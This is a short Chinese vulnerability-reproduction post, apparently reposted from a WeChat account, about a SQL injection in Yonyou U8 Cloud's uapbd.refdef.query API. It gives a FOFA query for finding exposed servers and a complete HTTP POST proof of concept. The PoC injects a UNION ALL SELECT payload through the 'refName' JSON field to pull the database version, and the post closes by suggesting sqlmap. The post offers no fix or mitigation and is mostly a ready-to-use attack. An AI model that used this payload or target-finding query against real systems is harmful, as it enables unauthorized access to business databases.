用友U8 Cloud uapbd.refdef.query接口存在SQL注入漏洞 附POC

1. 用友U8 Cloud 简介

微信公众号搜索：南风漏洞复现文库 该文章 南风漏洞复现文库 公众号首发

用友网络是全球领先的企业与公共组织软件、云服务、金融服务提供商。提供营销、制造、财务、人力等产品与服务，帮助客户实现发展目标，进而推动商业和社会进步。

2.漏洞描述

用友U8 Cloud是用友推出的大型企业数字化平台。用友U8 Cloud uapbd.refdef.query接口存在SQL注入漏洞。

CVE编号:

CNNVD编号:

CNVD编号:

3.影响版本

title=="U8C"

4.fofa查询语句

title=="U8C"

5.漏洞复现

漏洞链接：http://xx.xx.xx.xx/u8cloud/openapi/uapbd.refdef.query?appcode=huo&isEncrypt=N

漏洞数据包：

POST /u8cloud/openapi/uapbd.refdef.query?appcode=huo&isEncrypt=N HTTP/1.1
User-Agent:Mozilla/4.0(compatible; MSIE 8.0;Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept:*/*
Connection: close
Host: xx.xx.xx.xx
Content-Type: application/json
Content-Length: 64

{"refName":"1%' UNION ALL SELECT 1,CONVERT(INT,@@VERSION),1-- "}

可以跑sqlmap

原文始发于微信公众号（南风漏洞复现文库）：用友U8 Cloud uapbd.refdef.query接口存在SQL注入漏洞 附POC